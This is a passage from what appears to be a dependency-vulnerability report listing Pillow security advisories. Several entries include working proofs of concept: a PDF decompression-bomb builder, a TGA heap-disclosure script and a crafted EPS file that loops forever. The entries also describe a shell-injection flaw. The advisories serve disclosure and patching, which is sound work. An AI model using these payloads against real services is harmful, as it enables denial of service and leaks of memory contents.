| high | any | 7.1.0 | Out-of-bounds read in Pillow In `libImaging/PcxDecode.c` in Pillow before 7.1.0, an out-of-bounds read can occur when reading PCX files where `state->shuffle` is instructed to read beyond `state->buffer`. | fixed | osv:GHSA-3xv8-3j54-hgrp |
| high | any | 8.1.2 | Pillow Uncontrolled Resource Consumption Pillow before 8.1.2 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for an ICNS container, and thus an attempted memory allocation can be very large. | fixed | osv:GHSA-3wvg-mj6g-m9cv |
| high | any | 3.1.1 | Pillow buffer overflow in ImagingPcdDecode Buffer overflow in the `ImagingPcdDecode` function in `PcdDecode.c` in Pillow before 3.1.1 and Python Imaging Library (PIL) 1.1.7 and earlier allows remote attackers to cause a denial of service (crash) via a crafted PhotoCD file. | fixed | osv:GHSA-3c5c-7235-994j |
| medium | any | 10.2.0 | Arbitrary Code Execution in Pillow Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). | fixed | osv:PYSEC-2026-457 |
| medium | 8.2.0 | 12.3.0 | Pillow JPEG2000 tiled decode retains a growing scratch buffer and can be used for denial of service ### Summary
`src/libImaging/Jpeg2KDecode.c:853` accumulates `total_component_width` across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the `tile_bytes` calculation at `src/libImaging/Jpeg2KDecode.c:868`, which can make the decoder grow `state->buffer` via `realloc` at `src/libImaging/Jpeg2KDecode.c:876` up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
### Details
- Location: `src/libImaging/Jpeg2KDecode.c:853`
- Root cause: `total_component_width` is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive `tile_bytes`, so later tiles are treated as if they had the combined component width of all earlier tiles.
- Dangerous operation: `tile_bytes` is promoted into `tile_info.data_size`, then `state->buffer` is grown with `realloc` at `src/libImaging/Jpeg2KDecode.c:876`.
- Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal `Image.open(...).load()` decoding.
### PoC
The attached helper script and testcase were used:
[exercise_j2k_tile_realloc.zip](https://github.com/user-attachments/files/28099912/exercise_j2k_tile_realloc.zip)
Generate the testcase:
```bash
pythonexercise_j2k_tile_realloc.py make poc_3664_rgba_tile1832.jp2 \
--size 3664 --tile 1832
```
Expected geometry from the helper:
- image size: `3664 x 3664`
- mode: `RGBA`
- tile size: `1832 x 1832` (`2x2` tiles)
- `image_bytes=53699584`
- uncapped RSS observed:
- vulnerable build: `maxrss_kb=180264`
- fixed comparison build: `maxrss_kb=138404`
Load it with the current vulnerable build:
```bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2
```
Load it again under a 160 MB address-space cap:
```bash
python exercise_j2k_tile_realloc.py load poc_3664_rgba_tile1832.jp2 --limit-mb 160
```
### Impact
Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding. | fixed | |
| medium | 5.1.0 | 12.3.0 | Pillow: Decompression Bomb DoS via PdfParser.PdfStream.decode() ### Summary
`PdfParser.PdfStream.decode()` in Pillow's `PdfParser.py` calls `zlib.decompress()` with the `bufsize` parameter set to the value of the PDF stream's `Length` field, without any upper bound on the actual decompressed output size. Python's `zlib.decompress()` `bufsize` argument is an *initial output buffer hint*, not a maximum size limit — the function will expand memory until the full decompressed result is produced. A crafted PDF containing a FlateDecode-compressed stream decompresses to 1 GB of memory from a ~950 KB file, causing server OOM termination or severe degradation in any application that uses `PdfParser` to read untrusted PDF files.
### Details
`PdfStream.decode()` in `pdfminer/PdfParser.py` reads the stream's declared `Length` (or `DL`) field from the PDF dictionary and passes it as `bufsize` to `zlib.decompress()`:
```python
# PIL/PdfParser.py — PdfStream.decode()
class PdfStream:
def decode(self) -> bytes:
try:
filter = self.dictionary[b"Filter"]
except KeyError:
return self.buf
if filter == b"FlateDecode":
try:
expected_length = self.dictionary[b"DL"]
except KeyError:
expected_length = self.dictionary[b"Length"]
return zlib.decompress(self.buf, bufsize=int(expected_length))
# ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# bufsize is an *initial buffer hint*, NOT a maximum size limit.
# zlib.decompress() allocates as much memory as needed regardless.
```
From the Python documentation: *"The `bufsize` parameter is used as the initial size of the output buffer."* It does not cap decompression. An attacker who controls the PDF stream contents can provide a highly-compressed payload that expands to gigabytes, while setting `Length` to any value (including the actual compressed size) to avoid triggering format validation.
`PdfParser` is instantiated with a filename or file object and calls `read_pdf_info()` on open, which parses the xref table and makes stream objects accessible. `PdfStream.decode()` is reachable whenever calling code accesses a compressed stream object from the parsed PDF.
**Confirmed reachable path:**
```python
with PdfParser.PdfParser("evil.pdf") as pdf:
stream_obj, _ = pdf.get_value(pdf.buf, stream_offset)
data = stream_obj.decode() # ← OOM here
```
### PoC
```python
import zlib, tempfile, os, time
from PIL import PdfParser
# Build a minimal PDF with a 100 MB FlateDecode bomb (demo scale)
EXPAND_MB = 100
raw = b'\x00' * (EXPAND_MB * 1_000_000)
compressed = zlib.compress(raw, level=9) # ~97 KB
buf = b'%PDF-1.4\n'
o1 = len(buf); buf += b'1 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n'
o2 = len(buf); buf += b'2 0 obj\n<< /Type /Catalog /Pages 1 0 R >>\nendobj\n'
o3 = len(buf)
hdr = f'<< /Filter /FlateDecode /Length {len(compressed)} >>'.encode()
buf += b'3 0 obj\n' + hdr + b'\nstream\n' + compressed + b'\nendstream\nendobj\n'
xref = len(buf)
buf += b'xref\n0 4\n0000000000 65535 f \n'
for off in [o1, o2, o3]:
buf += f'{off:010d} 00000 n \n'.encode()
buf += b'trailer\n<< /Size 4 /Root 2 0 R >>\nstartxref\n' + str(xref).encode() + b'\n%%EOF\n'
print(f"PDF size: {len(buf):,} bytes ({len(buf)/1024:.1f} KB)")
with tempfile.NamedTemporaryFile(delete=False, suffix='.pdf') as f:
f.write(buf); tmpname = f.name
with PdfParser.PdfParser(tmpname) as pdf:
obj, _ = pdf.get_value(pdf.buf, o3)
t = time.time()
decoded = obj.decode()
print(f"Decoded: {len(decoded):,} bytes in {time.time()-t:.3f}s")
os.unlink(tmpname)
```
**Actual output (Pillow 12.1.1, Python 3.12):**
```
PDF size: 97,538 bytes (95.3 KB)
Decoded: 100,000,000 bytes in 0.265s
```
**Measured expansion:**
| PDF file size | Memory allocated | Ratio | Wall time |
|---|---|---|---|
| 10 KB | 10 MB | 1,026× | 0.024 s |
| 95 KB | 100 MB | 1,028× | 0.265 s |
| 475 KB | 500 MB | 1,028× | 1.279 s |
| 950 KB | 1,000 MB (1 GB) | 1,028× | 2.668 s |
### Impact
This is a denial-of-service vulnerability. Any application that uses `PIL.PdfParser.PdfParser` to read untrusted PDF files is affected. An unauthenticated attacker who can submit a PDF for processing can exhaust all available server memory with a ~950 KB file, causing OOM termination or service degradation affecting all concurrent users. No authentication or user interaction beyond submitting the file is required.
**Note:** This vulnerability is independent of CVE-2025-64512 / CVE-2025-70559 (pdfminer.six) and the companion `PIL/PdfImagePlugin.py` decompression issue. It exists specifically in Pillow's own `PdfParser.py` module, which is distinct from pdfminer.six.
**Suggested fix:**
```python
MAX_DECOMPRESS_BYTES = 200 * 1024 * 1024 # 200 MB cap
def decode(self) -> bytes:
...
if filter == b"FlateDecode":
...
result = zlib.decompress(self.buf, bufsize=int(expected_length))
if len(result) > MAX_DECOMPRESS_BYTES:
msg = "Decompressed stream exceeds maximum allowed size"
raise ValueError(msg)
return result
``` | ||
| medium | 5.2.0 | 12.3.0 | Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images ### Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"`
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
```python
im.save(out, format="TGA", compression="tga_rle")
```
Older affected Pillow versions use the equivalent public option `rle=True`.
For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)`
bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.
The maximum valid TGA width is `65535`. At that width:
```text
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
```
On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized
`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,
covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most `128` bytes each, not one large
`memcpy()`.
### Details
`src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
`tga_rle` encoder when RLE compression is requested.
`src/encode.c:_setimage()` allocates the row buffer using the packed-bit
formula:
```c
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
```
For mode `"1"`, `state->bits == 1`.
`src/libImaging/TgaRleEncode.c` then computes:
```c
bytesPerPixel = (state->bits + 7) / 8;
```
This becomes `1`, and the encoder uses pixel indexes as byte offsets:
```c
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
```
The packet payload `memcpy()` later copies those out-of-bounds source bytes into
the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy
one representative byte:
```c
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
```
A width-2 mode `"1"` image allocates one row byte and already triggers an ASAN
heap-buffer-overflow read. Wider images increase the adjacent heap window and
the amount of heap data that can be serialized.
### PoC
#### Minimal ASAN trigger
```python
import io
from PIL import Image
out = io.BytesIO()
Image.new("1", (2, 1)).save(out, format="TGA", compression="tga_rle")
```
Observed on local Pillow `12.3.0.dev0` ASAN target:
```text
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 1
comparePixels /out/src/src/libImaging/TgaRleEncode.c:10
ImagingTgaRleEncode /out/src/src/libImaging/TgaRleEncode.c:81
0 bytes after a 1-byte allocation from _setimage
```
#### Maximum-width heap disclosure
This PoC uses one maximum-width row. It parses the generated TGA packets and
extracts only payload bytes whose source offsets were outside the allocated
packed row. Rows are avoided because they mostly repeat the same adjacent heap window.
Run the following with a standard affected Pillow installation.
```python
import hashlib
import io
import PIL
from PIL import Image
WIDTH = 65535
ATTEMPTS = 20
ROW_BYTES = (WIDTH + 7) // 8
MAX_OOB_WINDOW = WIDTH - ROW_BYTES
def extract_oob_payload(data):
i = 18
pixel = 0
oob = bytearray()
while pixel < WIDTH:
descriptor = data[i]
i += 1
count = (descriptor & 0x7F) + 1
if descriptor & 0x80:
value = data[i]
i += 1
if pixel + count - 1 >= ROW_BYTES:
oob.append(value)
else:
values = data[i : i + count]
i += count
oob.extend(values[max(ROW_BYTES - pixel, 0) :])
pixel += count
return bytes(oob)
best = b""
for _ in range(ATTEMPTS):
out = io.BytesIO()
Image.new("1", (WIDTH, 1), 0).save(out, format="TGA", compression="tga_rle")
oob = extract_oob_payload(out.getvalue())
if len(oob) > len(best):
best = oob
with open("/tmp/max_oob_bytes.bin", "wb") as fp:
fp.write(best)
print(f"Pillow={PIL.__version__}")
print(f"packed_row_bytes={ROW_BYTES}")
print(f"maximum_oob_window={MAX_OOB_WINDOW}")
print(f"serialized_distinct_oob_offsets={len(best)}")
print(f"nonzero_oob_bytes={sum(byte != 0 for byte in best)}")
print(f"coverage={len(best) / MAX_OOB_WINDOW:.2%}")
print(f"sha256={hashlib.sha256(best).hexdigest()}")
```
Observed on installed Pillow `12.2.0`:
```text
Pillow=12.2.0
packed_row_bytes=8192
maximum_oob_window=57343
serialized_distinct_oob_offsets=57297
nonzero_oob_bytes=54407
coverage=99.92%
```
### Impact
This is a heap out-of-bounds read and potential information disclosure.
A maximum-width single-row image can cause nearly the full
`57343`-byte adjacent heap window to be incorporated into one output file. | ||
| medium | any | 12.3.0 | Pillow: Out-of-bounds read via attacker-controlled row stride on Pillow's mmap path (McIdas AREA files) ## Summary
When Pillow loads an uncompressed image whose tile uses the `raw` codec and a mode in `Image._MAPMODES`, and the image was opened **from a filename**, it memory-maps the file and builds the image's row pointers directly into the mapping via `PyImaging_MapBuffer` (`src/map.c`). The per-row spacing (`stride`) is taken from the tile arguments. `map.c` validates `offset + ysize*stride <= buffer_len` but **never checks that `stride` is at least the natural row width `xsize * pixelsize`**.
The **McIdas** AREA plugin (`McIdasImagePlugin.py`) derives `stride`, `offset`, `xsize`, and `ysize` directly from attacker-controlled 32-bit header words with no validation. By supplying a `stride` far smaller than the row width, an attacker makes each row pointer read `xsize*pixelsize` bytes that run past the mapped region. Accessing the pixels (e.g. `Image.tobytes()`,
`getpixel`, `convert`, `save`) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).
## Complete Code Trace
**Step 1: `McIdasImageFile._open`** - turns attacker header words into image size, file offset, and row stride with no validation.
```python
# src/PIL/McIdasImagePlugin.py:41-70
s = self.fp.read(256)
if not _accept(s) or len(s) != 256: # _accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04"
raise SyntaxError(...)
self.area_descriptor = w = [0, *struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled
if w[11] == 1:
mode = rawmode = "L" # pixelsize 1, in _MAPMODES
elif w[11] == 2:
mode = rawmode = "I;16B" # pixelsize 2, in _MAPMODES
...
self._mode = mode
self._size = w[10], w[9] # (xsize, ysize) <-- attacker
offset = w[34] + w[15] # <-- attacker
stride = w[15] + w[10] * w[11] * w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1)
self.tile = [
ImageFile._Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1))
]
```
**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.
```python
# src/PIL/ImageFile.py:322-348
if use_mmap: # use_mmap = self.filename and len(self.tile) == 1
decoder_name, extents, offset, args = self.tile[0]
if (decoder_name == "raw" and isinstance(args, tuple) and len(args) >= 3
and args[0] == self.mode and args[0] in Image._MAPMODES):
if offset < 0: # only lower-bound guard on offset
raise ValueError("Tile offset cannot be negative")
with open(self.filename) as fp:
self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)
if offset + self.size[1] * args[1] > self.map.size(): # == offset + ysize*stride; NO stride>=linesize check
raise OSError("buffer is not large enough")
self.im = Image.core.map_buffer(
self.map, self.size, decoder_name, offset, args # args = ("L", stride, 1)
)
```
**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride >= row width`.
```c
/* src/map.c:65-140 */
if (!PyArg_ParseTuple(args, "O(ii)sn(sii)",
&target, &xsize, &ysize, &codec, &offset, &mode_name, &stride, &ystep))
return NULL;
...
const ModeID mode = findModeID(mode_name); /* "L" */
if (stride <= 0) { /* attacker sets stride=1 (>0) -> NOT recomputed */
if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;
else if (isModeI16(mode)) stride = xsize * 2;
else stride = xsize * 4;
}
if (stride > 0 && ysize > PY_SSIZE_T_MAX / stride) {/* overflow guard only */
PyErr_SetString(PyExc_MemoryError, "Integer overflow in ysize"); return NULL;
}
size = (Py_ssize_t)ysize * stride; /* = 1*1 = 1 */
if (offset > PY_SSIZE_T_MAX - size) { ... }
...
if (offset + size > view.len) { /* 1 + 1 = 2 <= 256 -> PASSES */
PyErr_SetString(PyExc_ValueError, "buffer is not large enough");
PyBuffer_Release(&view); return NULL;
}
im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));
/* im->linesize = xsize * pixelsize = 200000 (the REAL per-row read width) */
/* setup file pointers -- NO check that stride >= im->linesize */
if (ystep > 0) {
for (y = 0; y < ysize; y++) {
im->image[y] = (char *)view.buf + offset + y * stride; /* row points into mmap, spacing=1 */
}
} else { ... }
```
`im->linesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes "claimed". Nothing reconciles the two.
**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im->image[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.
```c
/* the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y];
for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */
```
## Chain Summary
```
SOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34] (Image.open on a path)
↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14] -> attacker sets stride=1 [McIdasImagePlugin.py:66]
↓ tile = ("raw", (0,0,xsize,1), offset, ("L", 1, 1)) [McIdasImagePlugin.py:68]
GADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride<=len <- BUG: no stride>=linesize check [ImageFile.py:343]
↓ core.map_buffer(map, (xsize,1), "raw", offset, ("L",1,1)) [ImageFile.py:346]
SINK: PyImaging_MapBuffer: im->image[0] = view.buf + offset + 0*stride; linesize=xsize [map.c:134]
↓ Image.tobytes() raw "L" encoder reads linesize (=xsize) bytes from im->image[0]
IMPACT: reads xsize bytes from a tiny mmap -> OOB read of adjacent process memory (leak) or SIGBUS (DoS)
```
## Proof of Concept
See attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)
## Impact on a Parent Application
Any application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:
- **Information disclosure (High):** the decoded "image" contains bytes of the worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.
- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.
## Suggested fix
Core fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset < 0` and `stride < im->linesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset < 0` or `stride < xsize*pixelsize` . | ||
| medium | any | 12.3.0 | PYSEC-2026-3454: advisory Pillow is a Python imaging library. Prior to 12.3.0, Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size because ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation and ImagingExpand() computes output dimensions with unchecked signed int arithmetic. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-3454 |
| medium | any | 12.3.0 | PYSEC-2026-3453: advisory Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-3453 |
| medium | 12.0.0 | 12.3.0 | PYSEC-2026-3452: advisory Pillow is a Python imaging library. From 12.0.0 through 12.2.0, Pillow's EPS parser in PIL/EpsImagePlugin.py accepts a negative byte count in the %%BeginBinary directive, allowing a crafted EPS file to cause Image.open() to seek backwards to the same directive and parse it repeatedly in an infinite loop. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-3452 |
| medium | any | 12.3.0 | PYSEC-2026-3451: advisory Pillow is a Python imaging library. Prior to 12.3.0, Pillow public image coordinate APIs can trigger a native heap out-of-bounds write when given coordinates near the signed 32-bit integer limits in Image.paste(), Image.crop(), or Image.alpha_composite(). This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-3451 |
| medium | 4.2.0 | 12.2.0 | Pillow has a PDF Parsing Trailer Infinite Loop (DoS) ### Impact
An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.
### Patches
Patched version: 12.2.0.
PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.
### Workarounds
Use any version but the affected versions: >= 4.2.0, < 12.2.0
### Resources
- Fix: https://github.com/python-pillow/Pillow/pull/9519 | fixed | osv:PYSEC-2026-2874 |
| medium | any | 12.3.0 | PYSEC-2026-2257: advisory Pillow is a Python imaging library. Prior to 12.3.0, WindowsViewer.get_command() constructed a cmd.exe shell command by directly embedding a file path into an f-string without escaping and passed the result to subprocess.Popen(..., shell=True), allowing shell metacharacters in the file path to inject arbitrary cmd.exe commands. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-2257 |
| medium | any | 12.3.0 | PYSEC-2026-2256: advisory Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-2256 |
| medium | any | 12.3.0 | PYSEC-2026-2255: advisory Pillow is a Python imaging library. Prior to 12.3.0, PIL/BdfFontFile.py bdf_char() read the BBX width and height field from a BDF font file and passed attacker-controlled dimensions to Image.new() without calling Image._decompression_bomb_check(), bypassing Pillow's documented decompression bomb protection and allowing excessive memory allocation. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-2255 |
| medium | any | 12.3.0 | PYSEC-2026-2254: advisory Pillow is a Python imaging library. Prior to 12.3.0, PIL/FontFile.py FontFile.compile() assembled per-glyph images into a combined bitmap with Image.new("1", (xsize, ysize)) without calling Image._decompression_bomb_check(), allowing a font to trigger excessive allocation during conversion or saving. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-2254 |
| medium | any | 12.3.0 | PYSEC-2026-2253: advisory Pillow is a Python imaging library. Prior to 12.3.0, PIL/PcfFontFile.py _load_bitmaps() read glyph dimensions from the PCF METRICS section and passed them directly to Image.frombytes() without calling Image._decompression_bomb_check(), allowing crafted PCF font data to cause excessive memory allocation. This issue is fixed in version 12.3.0. | fixed | osv:PYSEC-2026-2253 |
| medium | 10.3.0 | 12.2.0 | PYSEC-2026-2252: advisory Pillow is a Python imaging library. From version 10.3.0 to before version 12.2.0, processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution. This issue has been patched in version 12.2.0. | fixed | osv:PYSEC-2026-2252 |
| medium | 11.2.1 | 12.2.0 | PYSEC-2026-2251: advisory Pillow is a Python imaging library. From version 11.2.1 to before version 12.2.0, passing nested lists as coordinates to APIs that accept coordinates such as ImagePath.Path, ImageDraw.ImageDraw.polygon and ImageDraw.ImageDraw.line could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This issue has been patched in version 12.2.0. | fixed | osv:PYSEC-2026-2251 |
| medium | 10.3.0 | 12.2.0 | PYSEC-2026-2250: advisory Pillow is a Python imaging library. Versions 10.3.0 through 12.1.1 did not limit the amount of GZIP-compressed data read when decoding a FITS image, making them vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation). If users are unable to immediately upgrade, they should only open specific image formats, excluding FITS, as a workaround. | fixed | osv:PYSEC-2026-2250 |
| medium | 10.3.0 | 12.1.1 | PYSEC-2026-2249: advisory Pillow is a Python imaging library. From 10.3.0 to before 12.1.1, an out-of-bounds write may be triggered when loading a specially crafted PSD image. This vulnerability is fixed in 12.1.1. | fixed | osv:PYSEC-2026-2249 |
| medium | any | 10.0.1 | libwebp: OOB write in BuildHuffmanTable Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. | fixed | osv:PYSEC-2026-1794 |
| medium | any | 10.3.0 | Pillow buffer overflow vulnerability In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. | fixed | osv:PYSEC-2026-1793 |
| medium | any | 12.2.0 | PYSEC-2026-165: advisory Pillow is a Python imaging library. Prior to version 12.2.0, if a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This issue has been patched in version 12.2.0. | fixed | osv:PYSEC-2026-165 |
| medium | any | 12.2.0 | Pillow has an integer overflow when processing fonts If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed. | fixed | osv:GHSA-wjx4-4jcj-g98j |
| medium | 4.2.0 | 12.2.0 | Pillow has a PDF Parsing Trailer Infinite Loop (DoS) ### Impact
An attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.
### Patches
Patched version: 12.2.0.
PdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a
trailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a
longer cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an
error if a cycle is detected.
### Workarounds
Use any version but the affected versions: >= 4.2.0, < 12.2.0
### Resources
- Fix: https://github.com/python-pillow/Pillow/pull/9519 | fixed | osv:GHSA-r73j-pqj5-w3x7 |
| medium | 12.0.0 | 12.3.0 | Pillow EpsImagePlugin negative %%BeginBinary byte count causes infinite loop denial of service ### Summary
Pillow's EPS parser (PIL/EpsImagePlugin.py) accepts a negative byte count in the %%BeginBinary directive. A crafted EPS file can cause Image.open() to seek backwards to the same directive and parse it repeatedly, resulting in an infinite loop and CPU denial of service.
The issue is triggered during Image.open(), does not require Image.load(), and does not require Ghostscript execution.
Confirmed affected versions: Pillow 12.0.0 through 12.2.0.
### Details
The issue is in the EPS parser in PIL/EpsImagePlugin.py. When parsing an EPS %%BeginBinary directive, Pillow reads the byte count from the file and passes it directly to a relative seek operation without validating that the value is non-negative.
Relevant code:
elif bytes_mv[:14] == b"%%BeginBinary:":
bytecount = int(byte_arr[14:bytes_read])
self.fp.seek(bytecount, os.SEEK_CUR)
There is no validation that bytecount is non-negative.
If an attacker provides a negative value such as %%BeginBinary:-18, the parser moves the file pointer backwards from the end of the directive line to the same line region. The next parser iteration reads the same %%BeginBinary:-18 directive again, performs the same backward seek, and repeats indefinitely. This causes Image.open() to hang in an infinite loop and consume CPU.
In local testing, the issue is present in Pillow 12.0.0, 12.1.0, 12.1.1, and 12.2.0. Pillow 11.3.0 did not hang with the same PoC, so this appears to affect the 12.x EPS parsing path.
### PoC
Save the following content as pillow_eps_beginbinary_dos.eps:
%!PS-Adobe-3.0 EPSF-3.0
%%BoundingBox: 0 0 1 1
%%EndComments
% dummy comment after transition
%%BeginBinary:-18
%%EOF
Then run:
python -m pip install "Pillow==12.2.0"
python - <<'PY'
from PIL import Image
Image.open("pillow_eps_beginbinary_dos.eps")
PY
Expected behavior: Pillow should reject the malformed EPS file with a parser exception.
Actual behavior: the process does not return. It hangs inside Image.open() and continuously consumes CPU.
The loop behavior can be observed by tracing the parser state. The file pointer repeatedly seeks from position 112 back to 94, causing the same %%BeginBinary:-18 line to be parsed again and again:
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
LINE b'%%BeginBinary:-18' pos_after_newline 112
BeginBinary bytecount -18 seek from 112 to 94
### Impact
This is a denial-of-service vulnerability. An attacker who can provide an EPS file to an application using Pillow for image validation, metadata parsing, previews, uploads, or batch image processing can cause the image parsing process to hang during Image.open().
This can impact web services and backend workers that parse untrusted image files, especially if image parsing is performed in a main worker process without CPU limits, timeouts, or process isolation. The issue does not require Ghostscript execution and does not require calling Image.load(), so applications that only use Image.open() to validate or identify uploaded images may still be affected.
Suggested fix: validate the parsed %%BeginBinary byte count before seeking. If the byte count is negative, reject the file with a parsing exception instead of calling self.fp.seek(bytecount, os.SEEK_CUR). | ||
| medium | 5.2.0 | 12.3.0 | Pillow TGA RLE encoder can serialize up to ~57 KB of adjacent heap data into generated images ### Summary
Pillow's TGA RLE encoder reads past its row buffer when saving a mode `"1"`
image. Adjacent process heap bytes can be copied into the generated TGA file.
The bug is reachable through the public save API:
```python
im.save(out, format="TGA", compression="tga_rle")
```
Older affected Pillow versions use the equivalent public option `rle=True`.
For mode `"1"`, Pillow allocates a packed row buffer of `ceil(width / 8)`
bytes, but `ImagingTgaRleEncode()` treats the row as one full byte per pixel.
The maximum valid TGA width is `65535`. At that width:
```text
allocated packed row buffer: 8192 bytes
encoder byte-offset walk: 65535 bytes
maximum OOB window per row: 57343 bytes
```
On non-ASAN Pillow `12.2.0`, the public-only maximum-width PoC below serialized
`57297` bytes from distinct out-of-bounds source offsets into one returned TGA,
covering `99.92%` of the maximum adjacent heap window. No heap grooming, ctypes,
private API, or malformed input file was used. The disclosure is emitted across
many TGA packet payload copies of at most `128` bytes each, not one large
`memcpy()`.
### Details
`src/PIL/TgaImagePlugin.py` allows mode `"1"` TGA output and selects the
`tga_rle` encoder when RLE compression is requested.
`src/encode.c:_setimage()` allocates the row buffer using the packed-bit
formula:
```c
state->bytes = (state->bits * state->xsize + 7) / 8;
state->buffer = (UINT8 *)calloc(1, state->bytes);
```
For mode `"1"`, `state->bits == 1`.
`src/libImaging/TgaRleEncode.c` then computes:
```c
bytesPerPixel = (state->bits + 7) / 8;
```
This becomes `1`, and the encoder uses pixel indexes as byte offsets:
```c
static int
comparePixels(const UINT8 *buf, int x, int bytesPerPixel) {
buf += x * bytesPerPixel;
return memcmp(buf, buf + bytesPerPixel, bytesPerPixel) == 0;
}
```
The packet payload `memcpy()` later copies those out-of-bounds source bytes into
the output. Raw packets copy up to `128` contiguous bytes, while RLE packets copy
one representative byte:
```c
memcpy(
dst, state->buffer + (state->x * bytesPerPixel - state->count), flushCount
);
